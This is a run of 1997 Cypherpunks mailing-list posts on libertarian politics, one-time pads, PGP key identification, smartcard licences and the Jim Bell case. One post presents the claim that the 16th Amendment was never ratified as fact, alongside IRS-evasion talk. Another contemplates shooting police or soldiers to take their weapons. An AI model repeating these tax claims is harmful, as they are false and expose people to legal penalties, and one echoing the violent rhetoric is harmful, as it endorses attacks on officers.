Considering what a murderous bunch of savages they were it's simply
amazing that it lasted as long as it did.

> If it provided such a superior governmental system providing the
> maximum return on investment why did it go away? Why did they
> instead elect to go with a king? 

They didn't realise what they were losing.

> Futher, explain how such an anarchic system can be expanded without
> demonstrating the exact same sorts of scaling problems consensual
> democracies such as ancient Greek ran into?

It doesn't have to scale.  People will form all sorts of groups with
local ordnances, the choice is in picking one which suits you.

> It's one thing to rule a few 10's of thousands of people who are
> related, share world-models and have limited resources and quite
> another to rule 4+ Billion people who speak hundreds if not
> thousands of languages and concommittent cultural beliefs?

If some people preferred democracy such sheeple could find a company
who would be happy to fleece them of 50% of their incomes, and
institute local ordnances such as 10 year incarceration for smoking of
selected herbs.

> >  Do you have a democracy in mind which
> > doesn't result in lots thought crimes and other "crimes" which are so
> > far removed from normal free market schelling points.  It's just a
> > natural tendency of a democracy.
> 
> Thought crimes and such are not a result of any political system but a
> result of the psychology of people.

Yes.  However democracy is a good way to ensure that some powerful
lobbying groups have increased ability to enforce their view points on
others.

> Please be so kind as to demonstrate (along with my previous
> questions I am still waiting on) how a political system effects the
> basic psychological development of the participants.

It avoids the moral bankruptcy of stealing money from people at the
point of a gun to enforce your personal preferences on other people.

People will live and let live if for no other reason than it is too
expensive to try to pressure their views on others.

> Further, explain how the belief in the resolving power of money is
> any different than the resolving power of Buddha? You seem to be
> claiming that if we pray to the all mighty dollar all will be right
> with the world.

Pray to Buddha for food and shelter if you like.  I reckon a $ is more
effective.  It also ensures that buyers and sellers tend to maximise
their happiness (they make trade choices to maximise their personal
hapiness, and they have more scope to make these choices because there
are less restrictions).

> The simply fact that one has a constitution that guarantees certain
> rights is *not* a guarantee that others won't find those rights
> threatening and want to take them away (see Hirshleifer's two
> alternatives above). And your assertion is that if we go to a free
> market anarchy then we no longer have to worry about anyone telling
> us what we can and can't do? Please be so kind as to demonstrate why
> a free market anarchy will prohibit monopolistic organizations who
> would be just as threatened by armed individuals as any other
> centralized organization?

> > > Explain to me why you believe these are valid views 
> > 
> > because they are a statement of readily observable reality?
> 
> Where do I observe them? 

Turn on your boob-tube:-) It's even observable through the brain
washing and spin doctoring.

> Give examples. Whose reality? Are you seriously claiming that there
> is one absolute reality?

Well there clearly is one reality.  Your perception of it may differ
from mine.  However I sort of presumed that you were vaguely
libertarian and had noticed some of the excesses of your
democractically elected and oh so accountable government :-)

> Governments and religions *ARE* people. There are times where I
> think you have said the stupidist thing possible and then you keep
> typing. Individuals are the ones who killed the Jews, put pepper
> spray in the eyes of demonstrators, and just about everything else
> that gets done.

Herds of people do much worse things than individuals no their own on
average.  Just following orders: I just turn on the gas, etc.

> > I say: there were less laws in 1897 US than 1997 US.
> > 
> > Tell me: do you refute that claim?
> 
> I don't know, never looked at the numbers *AND* it isn't my job to refute
> it. *IT IS* your job to prove it since it is *YOUR* claim and apparently has
> some relevance to your thesis' validity. 

I don't think the veracity is even debatable, it's obviously true.
Your point seems to be that I must now run off to a library and dig up
some references for you.  Go do it yourself, you don't seem to even
disagree with the claim!

> It is plain stupidity to make claims and not have a clue as to the
> reality.

I think it is a clear reality that the number of laws is increasing
over time in the US.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 3 Nov 1997 06:35:43 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199711022231.QAA06224@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 2 Nov 1997 23:10:11 +0100 (MET)
> To: cypherpunks@cyberpass.net
> From: nobody@REPLAY.COM (Anonymous)

> Fortunately some of these "good" lawyers already exist at the Institute for 
> Justice.  Basically, they are a libertarian version of the ACLU.  They've 
> accomplished some good things and deserve the support (read $$$) of 
> freedom-minded individuals everywhere.  (note: I'm not connected with them
> in any way; just letting the cypherpunk community know about an organization
> in sync with our views)
> 
>  "If you seek a courtroom champion for individual liberty, free market
>   solutions, and limited government, look only as far as the Institute
>   for Justice.  When politicians pass sweepingly intrusive laws and
>   bureaucrats build their empires of paperwork and power, only the
>   Institute for Justice brings them to account in court."
>   -- http://www.InstituteforJustice.org/

Thanks, I'll check them out as I am unaware of their position.

> >>Has there ever been a law suite brought against the Supreme Court or
> >>Congress claiming their actions were unconstitutional? The amendment
> >>relating to taxation for a start, repeal individual taxation and return to
> >>the system originaly intended by the founding fathers. 
> >
> >I don't know.   But this is the sort of issue I was thinking of.
> 
> Bill Benson has done some extensive research (his book is called The Law 
> That Never Was) regarding the 16th Amendment (the so-called Income Tax 
> Amendment) and how it was ratified.  According to the information he has 
> uncovered through exhaustive research in D.C. and all of the state capitals 
> of the then 48 states, the 16th Amendment was never ratified by 3/4ths of 
> the states. (see http://www.trustclarks.com/theman.html for more info)
> 
> Friends of mine have spoken to Mr. Benson about this, and he says that the 
> courts won't touch it with a ten foot pole.  He even sells a package (or at 
> least he was selling it back in 1995) of legal information about the 
> non-ratification of the 16th that can be used as a defense in an income tax 
> case.  According to Mr. Benson (in 1995), each of the cases was dropped when 
> the defense made it clear they were going to argue their defense based on 
> this point.
> 
> I understand that folks in the "patriot" movement have tried to take this to 
> the Supreme Court without success.  The Court refused to hear it.
> 
> Assuming Mr. Benson's research is accurate and legitimate, the 16th didn't 
> even come close to being ratified and is truly a Law That Never Was.  Think 
> about that next April 15th...the IRS's "lawful" authority is based upon a
> legal fiction.  That's why it's called >voluntary< compliance.

Actualy, his research is one of the reasons that I am so interested in an
actual lawsuit.

What if somebody were to go for several years with no contact at all with
the IRS, and no intention of making contact. Then when approached that
person makes enough noise to guarantee that they will be going to court.
What would it then take to bush-whack the beggars? What is the absolute last
point that your defence must be revealed prior to your presenting your case
to the jury? The reason I use the first person is because to me it seems
critical that no lawyer is actualy used in the defence. As I understand it,
and I ain't no lawyer, there are some actions that a defendent may do if
representing themselves that lawyers are prohibited from doing. Among them
is stating the obvious fact, if the jurors don't believe the law is just
they may refuse to find for that reason. If the Constitution and the actual
record of votes in concert with the general feeling of excess regarding this
matter doesn't prove the case, what will?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 3 Nov 1997 06:46:08 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: democracy?! (fwd)
Message-ID: <199711022240.QAA06284@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 1 Nov 1997 19:55:02 -0800
> From: Steve Schear <azur@netcom.com>
> Subject: Re: democracy?! (fwd)

> >If it's so damn good how come it doesn't exist anymore? If it provided such
> >a superior governmental system providing the maximum return on investment
> >why did it go away? Why did they instead elect to go with a king? Futher,
> >explain how such an anarchic system can be expanded without demonstrating
> >the exact same sorts of scaling problems consensual democracies such as
> >ancient Greek ran into? It's one thing to rule a few 10's of thousands of
> >people who are related, share world-models and have limited resources and
> >quite another to rule 4+ Billion people who speak hundreds if not thousands
> >of languages and concommittent cultural beliefs?
> 
> So, a solution is to encourage (e.g., through technological means) the
> break-up of nation-states into smaller geo-political groupings.

Technological, societal, political, religous, whatever non-confrontational
(ie avoid the use of force unless physicaly attacked) mechanism that is
present in human societies. 

Exactly! See that is the aspect of our democracy that so few people seem to
understand. The relationship between the fed's and the states is supposed to
be as equals. If the fed's want to do something they have to get a lot of
the states to go along with it or else they don't get the resources. The
states can't get too far out of line because of their ability to represent
the other n-1 states.

The problem now, fundamentaly to my view, is that the states are seen as
chatels or sub-servient to the fed's.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gabriel Millerd <millerd@vhoorl.rli-net.net>
Date: Mon, 3 Nov 1997 07:17:52 +0800
To: cypherpunks@toad.com
Subject: domo & pgp
In-Reply-To: <199711022212.XAA19710@basement.replay.com>
Message-ID: <Pine.LNX.3.95.971102165439.11732A-100000@vhoorl.rli-net.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

has anyone here gotten domo to work with pgp? at minimal signing outbound
messages?

- ---
Gabriel Millerd        |  The society which scorns excellence in plumbing as
RLI Internet Services  |     a humble activity and tolerates shoddiness in
System Admin Attribu   |   philosophy because it is an exalted activity will
http://www.rli-net.net |   have neither good plumbing nor good philosophy...
                       |     neither its pipes nor its theories will hold
                       |                        water.

PGP Finger Print
DSS: 1024 0xE760079B = B6D4 DB5B 4990 C79F 00E7  BF4A 1E15 B47A E760 079B
D/H: 4096 0xD53C231B = BC6F C82E FD5C BE0A AF33  607C 8406 4A79 D53C 231B

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Comment: Key on public key server http://keys.pgp.com
Charset: noconv

iQA/AwUBNF0FKx4VtHrnYAebEQIougCfRizGJwUBMc3ew3rt1VenKRfS3bsAn3bW
VahIGhTy7LHZfCdLj6TOh90m
=CUeL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 3 Nov 1997 08:52:17 +0800
To: attila@primenet.com
Subject: Re: Speech as co-conspiring? I don't think so.
In-Reply-To: <439400e9f3604a48781f48485a000403@squirrel>
Message-ID: <345D1D29.3FBF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



> Monty Cantspell, Iditor in Grief of Groan Ragazine, writed:

> When Attila says "I have this message from the list" and it has a
> valid signature, it makes things considerably more interesting because
> we don't have to trust Attila very much.

Attila,
  If you are short on reputation capital, I could lend you some.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Mon, 3 Nov 1997 13:05:38 +0800
To: cypherpunks@toad.com
Subject: S/MIME
Message-ID: <19971103044957.24885.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Is S/MIME secure than PGP ?


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Mon, 3 Nov 1997 05:38:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: cute.
Message-ID: <3758d87f6140a14b69fb75dda10350ef@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

0xa11a8a18bf6dbe8362926e9458a3616d/0x4d162bbe1 a.k.a Amad3us wrote:
>> I'm not sure a timestamp matters that much for "authenticating" your
>> key.  After all, you don't own "Amad3us", you own key 0x4D162BBE1.
>
>Yes.  Except for minor nit: 0x4D162BBE1 is susceptible to a
>0xdeadbeef attack, anyone can generate another key with that keyID.
>Even the fingerprint is spoofable.  But the combination is truly hard
>to spoof, and this I do own:
>0xa11a8a18bf6dbe8362926e9458a3616d/0x4d162bbe1 (fingerprint/keyID).

Uhhh... that's what I meant to say.  (Although I can't think of a
circumstance where the fingerprint matters if the reputation is bound
to the key only.)

While we're on the subject, why are key IDs used anyway?  People don't
really use them for anything.  Software might as well use the complete
description of the key internally.

For that matter, I'm not sure the the e-mail address and user name are
good things to associate with the key.  The e-mail address changes all
the time.  The user name should be assigned by you as part of the
authentication procedure, not by the person offering the key.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Mon, 3 Nov 1997 11:38:52 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: Protocols for Insurance to Maintain Privacy
Message-ID: <199711030332.WAA23276@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 10/31/97 12:46 PM, Tim May (tcmay@got.net)  passed this wisdom:

>I had an engineer working for me who cheerfully used the company medical
>plan for all it was worth. If his kid had a cold, off to the doctor. If his
>wife felt feverish, off to the doctor. If he had an upset stomache after
>lunch (understandable considering the state of company food and
>burrito-vending machines in 1980), off to the doctor.  He may have paid $5
>per visit. Of course, he took off a lot of time to make these various treks
>to have his kids, himself, and his wife "treated" (given aspirin, told to
>drink plenty of fluids, whatever). A nice racket for the hospitals.

 This is one (of many) things my ex-wife and I used to disagree on ... 
she would want to haul the kid or herself off to the Emergency room 
everytime anything happened ... the idea of sleeping on it and seeing how 
it seemed in the morning was foreign to her; I can see that broken limbs 
getting sharp raps in head etc ... but every little sniffle ... of course 
premiums are up. For us, it was zero co-pay since between my retired 
military status and back then Raytheon medical coverage I never had to 
lay out a penny, when its that free eats easy to over-indulge ... and 
during those times I spent in the ER waiting room I saw many other doing 
the same thing.




Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

     "Home is where your books are" --	Kitty O'Neal






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Mon, 3 Nov 1997 11:46:59 +0800
To: "Tim May" <cypherpunks@Algebra.COM>
Subject: Re: Bell sentencing timed to coincide with raids on militia members?
Message-ID: <199711030342.WAA23471@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 10/31/97 3:01 PM, Tim May (tcmay@got.net)  passed this wisdom:

>Get ready, folks. By the way, I'll be at the gun show at the Cow Palace in
>San Francisco on the weekend of November 8-9, probably Saturday, the 8th.
>Seems I'm running low on certain types of ammo, and I may want to pick up a
>couple more assault rifles before Swinestein succeeds in completely banning
>them.

 I used to think that way ... but then I thought, why pay all that money 
and walk the line of whatever Swinesteen et al come up with. Instead I 
have my deer rifles and a shotgun or two and ammo for both. The way this 
all is working now, I have more combat experience than 90% of the active 
duty military and most cops, and every day goes by more and more are 
retiring. If it ever comes down to that, I'll take down one or two of 
them with my deer rifle and help myself to their weapons and ammo ... 
also kind of makes sure I haven't set myself up to depend on an obsolete 
caliber ... if I am not good enough to take some of them down and take 
their weapons, no 300 nor 30,000 rounds for my very own Armalite is going 
to make any difference.


Brian B. Riley --> http://www.macconnect.com/~brianbr
   For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Everyone who lives dies; but not everyone who dies has lived"
    -- back of a 'No Fear' t-shirt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 3 Nov 1997 06:15:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: effective GACK fighting (fwd)
Message-ID: <199711022210.XAA19506@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Blanc wrote:
>Jim Choate wrote:
>>But, why do we need a lawyer? We have the right to represent ourselves, why
>>let somebody who has a intimate stake in the status quo represent us?
>
>Well, first of all I was being facetious, because of how people are always
>saying we need Leadership (tm) and need to elect another President in order
>to have a more Perfect Union.   But I said we need a "good" lawyer - a
>libertarian lawyer - because I expect that it would take someone who had
>studied the legal system and made it their project to be well-educated and
>articulate on these matters, to be able to successfully represent the
>Consitutional values which we subscribe to.
[snip]

Fortunately some of these "good" lawyers already exist at the Institute for 
Justice.  Basically, they are a libertarian version of the ACLU.  They've 
accomplished some good things and deserve the support (read $$$) of 
freedom-minded individuals everywhere.  (note: I'm not connected with them
in any way; just letting the cypherpunk community know about an organization
in sync with our views)

 "If you seek a courtroom champion for individual liberty, free market
  solutions, and limited government, look only as far as the Institute
  for Justice.  When politicians pass sweepingly intrusive laws and
  bureaucrats build their empires of paperwork and power, only the
  Institute for Justice brings them to account in court."
  -- http://www.InstituteforJustice.org/

>>Has there ever been a law suite brought against the Supreme Court or
>>Congress claiming their actions were unconstitutional? The amendment
>>relating to taxation for a start, repeal individual taxation and return to
>>the system originaly intended by the founding fathers. 
>
>I don't know.   But this is the sort of issue I was thinking of.

Bill Benson has done some extensive research (his book is called The Law 
That Never Was) regarding the 16th Amendment (the so-called Income Tax 
Amendment) and how it was ratified.  According to the information he has 
uncovered through exhaustive research in D.C. and all of the state capitals 
of the then 48 states, the 16th Amendment was never ratified by 3/4ths of 
the states. (see http://www.trustclarks.com/theman.html for more info)

Friends of mine have spoken to Mr. Benson about this, and he says that the 
courts won't touch it with a ten foot pole.  He even sells a package (or at 
least he was selling it back in 1995) of legal information about the 
non-ratification of the 16th that can be used as a defense in an income tax 
case.  According to Mr. Benson (in 1995), each of the cases was dropped when 
the defense made it clear they were going to argue their defense based on 
this point.

I understand that folks in the "patriot" movement have tried to take this to 
the Supreme Court without success.  The Court refused to hear it.

Assuming Mr. Benson's research is accurate and legitimate, the 16th didn't 
even come close to being ratified and is truly a Law That Never Was.  Think 
about that next April 15th...the IRS's "lawful" authority is based upon a
legal fiction.  That's why it's called >voluntary< compliance.

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 3 Nov 1997 06:29:33 +0800
To: cypherpunks@toad.com
Subject: Re: Vote CypherPunk!
Message-ID: <199711022212.XAA19710@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 20:24 -0500 10/31/97, TruthMonger wrote:
>* In August, the Boston Globe profiled the Taiwan National
>Assembly (which specializes in constitutional issues), where it is
>fairly common for the minority New Party to filibuster by merely
>grabbing the microphone and physically restraining majority-party
>members so that they cannot call for votes.  Fights break out,
>sometimes bloody ones.  Said a local political science professor, "It
>may not be civilized, but it's efficient" because citizens respond by
>re-electing the aggressive legislators.  

I'd probably have a lot more respect for Congresscritters if they cared
enough about any issue to physically fight about it. Maybe we could issue
them weapons, too; then term limits would become a moot point. (Who would
win if Jesse Helms and Diane Feinstein had a fight to the death? The 
American citizens.)

A suitable quote from Monty Python:

    We would like to apologize for the way politicians are
    represented in this programme. It was never our intention  to
    imply that politicians are weak-kneed, political time-servers
    who are concerned more with their personal vendettas and
    private power struggles than the problems of government, nor
    to suggest at any point that they sacrifice their credibility
    by denying free debate on vital matters in the mistaken
    impression that party unity comes before the well-being of
    the people they supposedly represent, nor to imply at any
    stage that they are squabbling little toadies without an
    ounce of concern for the vital social problems of today. Nor
    indeed do we intend that viewers should consider them as
    crabby ulcerous self-seeking vermin with furry legs and an
    addiction to alcohol and certain explicit sexual practices
    which some people might find offensive. We are sorry if this
    impression has come across.

In fact, they could run this at the top of every hour on C-SPAN. I'll call
my cable company.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Mon, 3 Nov 1997 08:27:32 +0800
To: cypherpunks@cyberpass.net
Subject: re: Speech as co-conspiring? I don't think so.
Message-ID: <439400e9f3604a48781f48485a000403@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Monty Cantspell, Editor in Chief of Groan Magazine, wrote:
>> There was a discussion a little while ago suggesting that toad.com had
>> been compromised by people who were sowing dissension by partially
>> distributing certain messages.  Had toad signed all of its messages,
>> it would be possible to obtain evidence supporting this hypothesis
>> without relying entirely on the word of people we may not know.
>
>How do signed messages deal with the incompleat distribushun problem?
>If legit signed messages are not sent to half the list, what does the
>sig gain us?

When Attila says "I have this message from the list" and it has a
valid signature, it makes things considerably more interesting because
we don't have to trust Attila very much.  For instance, it may give
the owner of the signing key incontrovertible proof that his machine
was compromised.  If we have several examples of messages which are
slightly different from each other and are signed by the list key, we
know that an attack was mounted, although we may not know by whom.

>> Had somebody compromised toad, they would still have to correctly sign
>> messages.
>
>But, depending on the compromise, this could be possible.

I phrased that badly.  What I meant to say was that the person who
compromised the machine may be able to sign messages, but he or she
will still have to sign all the messages going out.  Which means that
they can be compared later, which may show incontrovertible proof that
Something Is Wrong And It Is Wrong In A Most Interesting Way.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>sampler-request@lmboyd.com
Date: Tue, 4 Nov 1997 00:35:46 +0800
To: cypherpunks@toad.com
Subject: FUD Trivia -- Sex, Bells, 'a'nd...  / [Fwd: Sampler: November 3]Sampler: November 3
Message-ID: <345DDDE1.8E6@dev.null>
MIME-Version: 1.0
Content-Type: message/rfc822



======================================================


 Doctors no longer tell patients salt and pepper are
dangerous sex stimulants. But that isn't the item. The
item is they used to.

 It's said every unpaid assassin buys the fantasy that
public opinion will vindicate the killing.

 You might want to email this query to your friend, the
master of detail: "Is it true I'd have to count to 1,000
before I'd get to a spelled-out number containing the
letter 'a'"?


==============================================


LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email 
http://www.LMBoyd.com/postscript.htm










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 3 Nov 1997 13:21:29 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: Smartcards - Drivers Licenses in New Jersey
Message-ID: <3.0.3.32.19971103001906.0356e594@rboc.net>
MIME-Version: 1.0
Content-Type: text/plain



The New Jersey legislature has announced that they will begin issuing
smartcards for driver's licenses.  The New license is reported to contain

 * biographical info
 * auto insurance info
 * medical insurance info
 * health info

The cards are also claimed to be capable of carrying

 * fingerprints
 * photographic images
 * health records
 * billing statements

The Capitol Report article and a Web based feedback forum can be found at
http://www.cpanj.com/legislative/drivers_license_1196.html




  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 3 Nov 1997 18:01:09 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell sentencing delayed
In-Reply-To: <1.5.4.32.19971031120116.00c62d58@pop.pipeline.com>
Message-ID: <3.0.2.32.19971103015447.006e0abc@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:01 AM 10/31/97 -0500, John Young wrote:
>
>Greg,
>
>What's your take on repeated delay in Jim's sentencing:
>

perhaps I'm just low on conspiracy juice this week, but I think that Kent's
suggestion that he's in the hospital is probably the best - his recent
letters/calls to Blanc mentioned a persistent staph infection. If he'd been
released, I expect that the docket would indicate that. (it's possible that
they've got a "phantom docket" which has parallel but different entries ..
but I doubt it.) 

I'm reluctant to wander down the "Is Jim a narc? Is Jim not a narc?" path
because it's too difficult to reach a dependable conclusion with the little
information available .. especially given that the feds may be trying to
make it look like he is, or isn't, or is but appears not to be, or
whatever. Too many people applying too much spin. My occam's razor thinks
he's in the jail ward of the local hospital, explaining why John got his
books back and why the sentencing hasn't happened.

If the feds wanted information from him, they've already got it .. and if
they're going to hold him until he testifies against co-conspirators, it's
going to take a lot longer than a continuation until mid-November. So I
doubt that's the reason for the delay.

And, to answer Tim's question re why he can't be sentenced immediately -
because that's not how it works in federal court. Federal defendants submit
to lengthy interviews with a probation officer, who then draws up a report
which summarizes the defendant's social/political/economic/pharmaceutical
background, lists the defendant's prior history of
education/crime/whatever, and so forth. The judge then imposes a sentence
based on the PSR (presentence report) and the guidelines range, which
creates a relatively narrow range of sentences matching a particular crime.
The idea is that the punishment should both be tailored to the defendant,
and be relatively standard across crimes of similar severity. More re
determinate sentencing at <http://www.ussc.gov>.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 3 Nov 1997 18:26:28 +0800
To: cypherpunks@cyberpass.net
Subject: One Time Pads (Real Ones!)
Message-ID: <199711031002.CAA26848@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

One time pads are under rated, in my view.  Not only are they secure
forever, but the executive branch of the U.S. government says they are
exportable.

I've been thinking about how practical they are.

One diskette holds about 150 messages.  The people we trust tend to be
people we communicate with a lot.  An exchange of one box of diskettes
should last a long time in most cases.

The first 128 bits of the pad can be used as a key to identify it.
This the recipient can figure out how to decode it by hunting through
his or her key collection for the one that matches.

When keys are exchanged, additional information can be exchanged and
associated with each key.  Length, for example.  This means no length
fields are needed because it can be recovered from the key itself.
There are probably more examples.

One time pads are self authenticating.

For increased security, the use of a double one time pad is a good
idea.  Both correspondents generate key sets.  The message is
encrypted using one key from each key set.  Again, no identifying
information is needed, because the recipient can look for pairs of
keys that work.

If these key sets are exchanged through separate secure channels, they
will be especially hard to compromise.

Also, each user can be confident that the message is secure with
regard to key material if they have generated the keys themselves.

Keys should be destroyed immediately after use.  This means that the
only time the rubber hose attack is effective is during message
transit.

Key destruction is a hard problem, though, because it is difficult to
be confident that the key has been completely erased from a disk.  Use
of diskettes improves the situation.  Other media might be better,
such as static memory.

There is no good reason not to wrap one time pads in other encryption
protocols.  It is hard, maybe impossible for some algorithms, to crack
a message when the contents have the appearance of noise.  This means
that it is hard to tell who is using one time pads and when they are
doing it.  Naturally, the user will send many messages which consist
of noise, indistinguishable from a one time pad.  This gives the user
plausible deniability, especially if the practice is common.

If the wrapper encryption protocol has not been compromised at the
time of use, it has the pleasing result that it buys time.  Should the
message be recorded and filed on tape at Ft. Meade, and the encryption
protocol broken ten years later, the user will have a very difficult
time producing the key material.

Key generation is an inadequately solved problem right now.  There are
chips which generate streams of random bits, but it is impossible to
tell if they have been compromised.  A home brew hardware based random
number generator with a serial interface is probably the best way to
go.  The output of this device could be XORed with other source of
randomness to increase confidence.

One time pads seem practical to me.

Comments?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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iQEVAwUBNF1/WZaWtjSmRH/5AQER3Af+M+T31s+VOdrCE61a0kbp0fe3Eyosoub2
YkAWZs48knTFgtAS0sv5IRrKparKaKdgAQISscBSuW5YXGi9WJCA2/3+2/+iwvrK
1tIoEDF+fYaq6/a2yiyI4PVZ8qPMpyLayZ3K89P8N8zzuQSMS6pB7yOf4waOufcF
6nAmcVG8/O4BddID15XiKbdc7QSpHKK2R3LlwrS4ZQBHyhYvC5Quo41SHNiWIGjO
N6zMkBKuDXEpjmnX9O1LRelT7hEMX0ss6b4ZTmFw39NXwDwgFahP+C2/Zw+Kt0Je
+/PNDJXWWQDWovVrCW2yKmpKeTPgxTJ1R4aEpt2CBwdQlMqVwpVrAg==
=O5oZ
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Mon, 3 Nov 1997 16:07:59 +0800
To: cypherpunks@Algebra.COM
Subject: PGP 50i Beta 8a for Unix.
Message-ID: <Pine.GSO.3.95.971103025727.13425A-100000@king>
MIME-Version: 1.0
Content-Type: text/plain




I jsut went and got myself a copy of this.  It's frustratingly hard to get
to compile.  The source directories are all missing header files (filling
src/include with all the headers via symlinks seems to work) but other
files seem to be missing.  Is there a better distribution of this than the
mess on pgpi.com?

Ryan Anderson - PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
RSA in Perl: (Export violations for the lazy)
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 3 Nov 1997 19:37:02 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Jim Bell sentencing delayed
Message-ID: <3.0.32.19971103025934.006dd7a0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Greg Broiles wrote:

>perhaps I'm just low on conspiracy juice this week, but I think that Kent's
>suggestion that he's in the hospital is probably the best - his recent
>letters/calls to Blanc mentioned a persistent staph infection. 

Ach! Greg, that was supposed to be a "secret", since Jim said he didn't
want publicity over his case and I cheated by letting John post it on his
